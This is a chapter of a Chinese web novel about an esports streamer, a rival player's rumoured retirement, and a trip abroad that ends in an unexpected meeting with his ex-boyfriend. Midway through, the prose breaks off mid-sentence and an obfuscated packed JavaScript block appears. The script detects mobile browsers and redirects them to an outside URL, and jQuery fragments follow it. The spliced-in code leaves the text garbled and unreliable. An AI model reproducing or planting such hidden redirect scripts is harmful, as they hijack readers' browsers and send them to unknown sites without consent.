“如果一个人在背后骂了我，而他掏空自己的脑袋，想出来的骂人话是‘傻逼’、‘小王八蛋’和‘大混蛋’的话，我会觉得这个人特么的是在暗恋我，你能明白吗？”


    南知意忧郁地趴在桌子上，手指拨弄着一根蓝色的鸟毛。


    宋白羽双手叉腰，在他对面气咻咻地走来走去。


    他说着说着，像是快被自己给说笑了：“‘小王八蛋’？这叫骂人吗？和猫挠痒似的！”


    “你知道你吃亏在什么地方吗？吃亏在你平时太有礼貌了。来，你现在打开Stars，打开游戏区，随便开一个直播，有几个主播直播的时候嘴里能不带几句爹妈？”宋白羽还在言辞激烈地分析着，“而且，恭喜你，非常地不凑巧，赶上了他yux玩人间蒸发的好时候。现在他的粉丝们憋着一股劲，正愁没地方使呢——”


    “尤青昨天告诉我说，yux说自己要退役了。”


    南知意闷闷开口道。


    “——你就这么撞人家枪口上了，等等，你说什么玩意？”宋白羽明显还在气头上，堪堪收住了自己的话头。


    紧接着，他的声音猛地拔高了几个度：“谁要退役？yux？？？谁告诉你的？？”


    “……尤青。”


    “you……什么玩意？那是谁？”


    “CG新投资人。”南知意说，“你应该知道他吧，他去年在解说台当过嘉宾，刚好解说的是你们和HYG的那场季后赛。”


    宋白羽：“……你说尤，青？演《怦然为你》的那个尤青？”


    南知意有点惊讶：“想不到你还爱看这种偶像剧。”


    “那是我妈爱看！过年在家天天在电视里追追追。”宋白羽恼怒地说，“尤青是吧？我记得他，那个长得挺帅的男明星，金毛的——纯种傻逼一个！”


    “这傻逼根本看不懂比赛！他根本不玩游戏！还偏要不懂装懂！！我保护C位死了，教练都没说我什么，他来一句这个辅助在乱送？你敢信？！”


    “等等。”他说着，忽然话音一顿，“你的意思是，CG的新老板告诉你，yux不想打比赛了，想，退役？”


    看来他终于发现了问题的关键。南知意欣慰地点点头。


    宋白羽和他大眼瞪小眼地看着彼此。


    “是他疯了还是我疯了？”半晌，宋白羽难以置信道，“不是，哥们，我想不明白啊？他，yux，退役？他凭什么退役？凭他去年刚拿了亚军？还是凭他今年还不到21？不是——到底凭什么啊？要是他都该退役了，那我岂不是早该收拾收拾找个电子厂打工得了？”


    “荒谬！”最后他一拍大腿，一锤定音道。


    “……其实你说得很有道理。”南知意心不在焉地用指尖叩着桌子，“但问题在于……唉。”


    “如果你了解他，你就知道这真的是他能做出来的事。”


    宋白羽诧异地看着他：“什么事？”


    “就，”南知意思索了一下措辞，“鱼死网破？”


    “……他和谁鱼死网破？尤青？”宋白羽纳闷道，“我知道CG的管理层好像是有点小毛病，从我哥突然说自己要退役那会就知道了……可我哥他当时好歹是断崖下滑了，yux去年一整年，哪怕决赛那个BO5，打的都没什么问题啊。”


    “他们至于吗？把自己没什么毛病的核心选手逼得想要退役？”


    “大概吧。”南知意轻轻地说，“你知道很多明星，出道用的都是艺名吗？”


    话题转换得太快，宋白羽一时间没跟上他的脑回路：“你突然说这个干什么？”


    “‘尤青’就是一个艺名，他真名姓游，你知道我说的是哪个……”迎着宋白羽越来越震惊的目光，南知意点点头，“是的，他和yux是兄弟。亲的。”


    想了想，补上一句：“同父异母。”


    宋白羽慢慢地张大了嘴，又慢慢合拢。从他的眼神里，南知意能感受到他已经脑补出了八个大字：世子之争，向来如此。


    “好吧。是这样的话，我大概能理解你为什么要生气了。”最后宋白羽说，“激流勇退也不是这么个退法，这个队不行就换个队呗，哪有巅峰期突然玩消失的，把支持自己的粉丝都当什么了……说实在的，我现在觉得你有点骂轻了。不，根本算不上骂，你这是顶多是恨铁不成钢，一时半会上头了。”


    南知意没开口说话。那根蓝色的鸟毛随着他拨弄的动作落在了地上。


    宋白羽看他这副模样，忽然也有点恨铁不成钢起来。


    南知意那倒霉视频现在每秒钟都有十个营销号在转发，双方粉丝都快闹翻天了，但此时此刻，这位最关心的既不是“谁是拍摄者”，也不是“我现在该怎么办”，而是“yux到底是不是真的要退役”？


    自己当年喜欢CG.Nova的时候，也没到这么狂热的地步吧？


    就好像一接触到和对方相关的事，脑子就自动飞出去了，不存在了。


    宋白羽忽然就想起，今天自己上微博时，刷到的一些奇怪的评论。


    例如【天使意为什么一提到yux就那么害羞？印象中他不是这样的人啊】


    另一个人回复道：【你没记错，想当年他和别人pk输了，大冒险倾情朗诵三十篇自己的同人文开头，眼睛都没多眨一下】


    【昨天他直播之前我心都凉了，直播之后我直接满血复活好吗？哪有人看到自己的爆料视频是那种反应的。】


    【乱中嗑一口，他还是太爱了】


    作为八卦达人，他不是不知道她们在说些什么。


    你别说，好像，还真有点那个意思？


    但是……不太可能吧。


    真有点什么的话，他宋白羽作为对方的头号好兄弟，兼roeCN头号瓜王，不会对此一无所知的。


    他倒是知道南知意有一段无疾而终的初恋，自己追问过数次对方都不肯多谈。宋白羽从只言片语中猜到那是一段学生时代的感情，而南知意对此的描述是，“那时候都不懂事，太儿戏了”。


    宋白羽听后深以为然，想起自己上小学的时候也在过家家里给同桌当过“小妾”。


    他这般想着，摇了摇头，试图把这些奇怪的评论从脑子里甩出去。


    “所以你现在打算怎么办？澄清？道歉？”宋白羽问，“说‘因为有人告诉我yux想退役，我一时半会太生气外加喝多了所以才口不择言’？”


    南知意默默地看他一眼。


    很显然，但凡他真这么说了，问题只会比现在更复杂。


    无解。


    最后南知意往椅背上一靠，合着眼睛，揉了揉眉心的位置。


    “我想休息一段时间。”他说。


    “也行吧，反正你们也没什么训练任务。这事说白了也只能冷处理。”宋白羽叹了口气，“你打算怎么休息？出去旅个游什么的？”


    南知意想了想：“出门转转，写写论文？我过几个月要毕业了。”


    宋白羽刚喝了口水，这会差点喷出来。


    “特么的我都忘了你还在上大学。”他擦了擦嘴，“没办法，我们WD一个队都凑不出一张高中毕业证。”


    南知意这才露出今天第一个笑容。


    宋白羽拍了拍脑袋：“这事其实挺好办的——我看我哥最近挺闲的，我问问他有没有空带你玩一段时间，你就当是出去散散心了。”


    “听我一句劝，好吗？这事其实和你没什么关系。别想你那yux的破事了。”


    -


    宋白羽说到做到，替南知意联系了宋蒙又帮他买了机票，甚至连接送机的网约车都帮他订好了，再三嘱咐他要带齐各类证件，操心得仿佛他明天就要持证上岗，化身为南知意专属贴身老妈子。


    出发前，南知意把自己的各类平台账号都交给了丽姐，由她的专业团队打理，附带一份他自己写的道歉声明，大意是为自己酒后失言、伤害了他人而感到抱歉。


    丽姐并没有对他多加责怪，她特意发了条短信过来，嘱咐他好好休息，调整好自己的心情，别去理会网上的风言风语。


    退出和丽姐的对话，南知意的手无意识地往下滑动短信界面。


    他其实极少和人通过短信聊天。因而很快，他就在一大堆广告垃圾短信里，翻到了和一个备注为【[蓝心]】的人的对话框。


    南知意点进对话框。


    他们上上次的聊天，发生在三年前。


    【1月31日 00:00】


    【我：新春佳节，喜庆祥和。感谢一路相伴的朋友，愿新的一年里，我们都能拥有更多的欢笑与收获，共同迎接更美好的明天！祝福大家春节快乐，心想事


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345653|183514||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    成！】


    【1月31日 12:14】


    【[蓝心]：新年快乐。】


    而最后一次的对话，则与这段相隔不久。


    【2月21日 02:36】


    【我：还能再做朋友吗T T】


    短信滑动到了底部，手机轻轻震动了一下。


    像一块极小的石子被丢进潭水，还没来得及荡起涟漪，就已沉到了底。


    ……


    南知意的散心之旅并不顺利。


    飞机落地后，他打开漫游，很快便收到了第一条不妙的消息。


    【Meng：不好意思啊，小意，我的车出了点问题】


    【Meng：在路上抛锚了】


    【Meng：[图片]】


    【Meng：我这儿荒郊野岭的，车也打不到。这样，我先给你一个地址，你打车去这个地方……】


    到了机场外，南知意拿着宋蒙给的地址，打了辆uber。


    好不容易到了目的地，他拖着行李箱下了车，突然感觉自己的兜里似乎少了什么东西。


    一伸手，发现原本放着证件包的地方已是空空如也。


    南知意：“……”


    突然一下在异国街头成了黑户，南知意不得不给宋蒙发去微信：【我的包不见了，应该是在上车前被人偷走了，证件还在里面[哭哭.jpg]】


    宋蒙立刻回复。


    【Meng：别着急，你再给我发个定位，一会儿我找个朋友来接你】


    【小意小意：谢谢蒙哥】


    南知意打开“发送位置”，放大地图，仔细研究该如何描述清楚自己的位置。


    正在这时。


    “刷”的一声。


    ——南知意只来得及看见一道黑影从自己身边闪过，以及感受到手上传来的极大的力道。


    等他意识到自己的手机被人抢走时，这个穿得比他还保守的不速之客已经蹬着黑色自行车，以南知意这辈子都没见过的高速逃离了现场。


    南知意：“……”


    今年……好像……也不是他的本命年吧……


    正月才刚开了个头，怎么就已经连遭数劫……


    南知意拖着自己20寸的袖珍行李箱，一脸茫然地站在街头，人生头一回感受到了自己能否生存下去成了一个问题。


    现在的他，是个没有电子设备、身无分文的黑户原始人。


    就连定位也还没来得及发给宋蒙。


    他只能寄希望于司机把他放下来的位置和宋蒙发给他的定位相差不远，也不敢再乱走动，只能拖着自己的行李箱走到路边，随便找了个地方蹲下，乖乖等待着有人来拯救他。


    刚蹲了没一会，面前传来“叮”的一声。


    南知意一抬头，发现面前的地上被人丢了一枚硬币。


    “…………”


    也不至于被人当成乞丐吧？！！


    “哎。”他有点丧气地把头埋进臂弯，思考着如果宋蒙没找到他，自己今晚有多大的概率会露宿街头。


    又过了一会，南知意感觉又有人在自己面前停下来了。


    “……”该不会还要给他扔硬币吧。


    南知意无法和对方交流，索性埋着头，闭着眼睛，一动不动地装死。


    可对方却迟迟没有离开。


    当然，也没有往他面前扔东西。


    过了很久。


    “南知意？”站在他面前的人不确定地叫了一声。


    乍一听到自己的名字，南知意被吓了一跳。


    但紧接着，他就意识到了更为恐怖的问题所在——


    这个声音，对他而言，熟悉到了有些可怕的地步。


    南知意抬起头来，看见穿着黑色连帽衫和牛仔裤、打扮得像个下课路过高中生的游辛站在离他不远的正前方，怀里甚至还抱着一本书。


    在对方那张这些年里表情从来一成不变的脸上，南知意第一次看见了诧异的神色。


    时间仿佛过去了一个世纪那么久。


    现实里，游辛面上的诧异很快被他收了回去。


    “吃晚饭了吗？”他略一俯身，语气自然地发问，“饿不饿？”


    ——仿佛此刻在他面前的，不是那位他分手后不曾交谈、不肯再见的初恋，兼前男友。